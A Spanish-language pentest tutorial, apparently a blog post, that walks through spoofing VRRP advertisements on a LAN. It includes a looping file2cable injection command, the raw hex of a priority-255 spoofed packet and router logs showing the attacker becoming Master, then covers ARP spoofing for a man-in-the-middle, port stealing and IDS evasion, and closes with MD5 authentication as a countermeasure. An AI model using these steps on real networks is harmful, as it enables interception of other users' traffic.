Después de darle un pequeño repaso a VRRP, partimos del siguiente escenario. Nos encontramos en una LAN con un grupo VRRP formado por dos routers (A y B) con IP virtual 192.168.1.100. Como vemos en la salida el router A (configurado como Master) tiene una prioridad de 150 y una IP local de 192.168.1.5. En caso de caída, el router B tras un tiempo Master_Down_Timer, asumirá el rol de Maestro (Preemption enabled).
RouterA#show vrrp FastEthernet0 - Group 1 State is Master Virtual IP address is 192.168.1.100 Virtual MAC address is 0000.5e00.0101 Advertisement interval is 1.000 sec Preemption enabled Priority is 150 Master Router is 192.168.1.5 (local), priority is 150 Master Advertisement interval is 1.000 sec Master Down interval is 3.414 sec RouterB#show vrrp FastEthernet0 - Group 1 State is Backup Virtual IP address is 192.168.1.100 Virtual MAC address is 0000.5e00.0101 Advertisement interval is 1.000 sec Preemption enabled Priority is 100 Master Router is 192.168.1.5, priority is 150 Master Advertisement interval is 1.000 sec Master Down interval is 3.609 sec (expires in 3.533 sec)
Lo primero que haremos será poner Wireshark a la escucha para ver si VRRP está utilizando algún tipo de autenticación.
Teniendo en cuenta que el Router Maestro no está configurado como IP Address Owner, que la prioridad es inferior a 255 y que carece de autenticación, lo que haremos será exportar una de las tramas capturadas desde el Menú “Export Selected Packets Bytes” y modificar la IP origen, prioridad y el checksum a nivel de paquete. Posteriormente inyectaremos el paquete con file2cable:
root@bt:~# while true; do /pentest/enumeration/irpas/file2cable -i eth0 -f vrrp_spoof -v; sleep 1; done
Tras revisar la configuración del router observamos los siguientes mensajes de error:
*Oct 11 10:01:25.311: VRRP: Advertisement from 192.168.1.122 has incorrect CRC *Oct 11 10:01:25.311: VRRP: Checksum Received 86EF Calculated 1DEF *Oct 11 10:01:26.335: VRRP: Advertisement from 192.168.1.122 has incorrect CRC *Oct 11 10:01:26.335: VRRP: Checksum Received 86EF Calculated 1DEF
Lo cual parece obvio al no haber modificado el checksum VRRP. Tras modificar de nuevo el paquete nos quedaríamos con:
Ejecutamos de nuevo:
root@bt:~# while true; do /pentest/enumeration/irpas/file2cable -i eth0 -f vrrp_spoof -v; sleep 1; done
file2cable - by FXThanx got to Lamont Granquist & fyodor for their hexdump() vrrp_spoof - 60 bytes raw data 0100 5e00 0012 0000 5e00 0101 0800 45c0 ..^.....^.....E. 0028 0000 0000 ff70 1871 c0a8 017a e000 .(.....p.q...z.. 0012 2101 ff01 0001 1def c0a8 0164 0000 ..!..........d.. 0000 0000 0000 0000 0000 0000 ............ Packet length: 60
El nuevo advertisement se enviará cada segundo y tras la negociación oportuna ya podemos ver en la configuración de los routers que la máquina atacante (192.168.1.122) aparece como Master:
RouterA#show vrrp FastEthernet0 - Group 1 State is Backup Virtual IP address is 192.168.1.100 Virtual MAC address is 0000.5e00.0101 Advertisement interval is 1.000 sec Preemption enabled Priority is 150 Master Router is 192.168.1.122, priority is 255 Master Advertisement interval is 1.000 sec Master Down interval is 3.414 sec (expires in 2.570 sec)
Hasta este punto es importante considerar lo siguiente: de cara a los clientes nada ha cambiado, ellos siguen teniendo como GW la IP 192.168.1.100 y como MAC asociada, la MAC virtual 00-00-5E-00-01-01. El switch por otro lado tendrá asociada la MAC virtual al puerto del atacante (cada segundo se están enviado paquetes de forma que el switch está constantemente asociando dicho puerto con la MAC en su tabla CAM), por lo que no necesitará hacer un flooding constante cada vez que reciba paquetes de alguno de los clientes.
El último paso es hacer forwarding hacia alguno de los routers que conforman el router virtual (y cuyas IPs así como prioridades podemos capturar durante la negociación) teniendo en cuenta las siguientes consideraciones:
- Los nuevos equipos que se inicien en la LAN o bien aquellos en los que expire su caché ARP harán un un ARP Request para conocer la MAC asociada a su GW. En este caso nuestra máquina tiene que ser capaz de contestar a dichas peticiones con ARP Reply falsos devolviendo como respuesta la MAC Virtual (los routers que componen el Router Virtual estarán como Backup y descartarán paquetes que tengan como destino la Mac Virtual).
Otra posible solución es enviar “ARP Gratuitous” periódicos avisando de dicha asociación (mismamente dentro del while utilizado para enviar los adverstisments).
- En el caso de hacer forwarding por medio de un ARP proxy debe considerar que el switch estará sufriendo un constante port stealing, asociando las MAC de los clientes (a parte de la MAC virtual) con el puerto del equipo atacante, lo cual puede generar problemas en caso de tener funcionalidades como Port Security.
conseguiríamos excluir al Master obteniendo el siguiente mensaje:
Current Master has stopped participating in VRRP
Esto también podría utilizarse como vector de ataque para excluir routers del grupo VRRPs y forzar nuevas negociaciones con nuevas prioridades.
Utilizar este ataque para hacer un MIM puede tener ciertas ventajas frente al clásico ARP Spoof en entornos que cuenten con IDS y que alerten ante un uso anormal del protocolo ARP como tormentas broadcast excesivas, uso indebido de ARP Request/Reply, etc. (aunque obviamente un IDS cantaría al notar el port stealing del equipo atacante para suplantar la MAC-Virtual). La mejor contramedida: utilizar autenticación con MD5 y limitar el tráfico multicast VRRP únicamente a los routers que participan en la negociación del router virtual.
Mediante Loki es posible automatizar todo este proceso. Podéis ver un ejemplo práctico de esta herramienta en el siguiente video:
[…] una red con apenas un par de paquetes y con ayuda de Scapy, hasta hacer MitM usando ARP / DHCP / VRRP / HSRP o hasta cosas mas entretenidas como conseguir un pool de shells sin mucho esfuerzo con el […]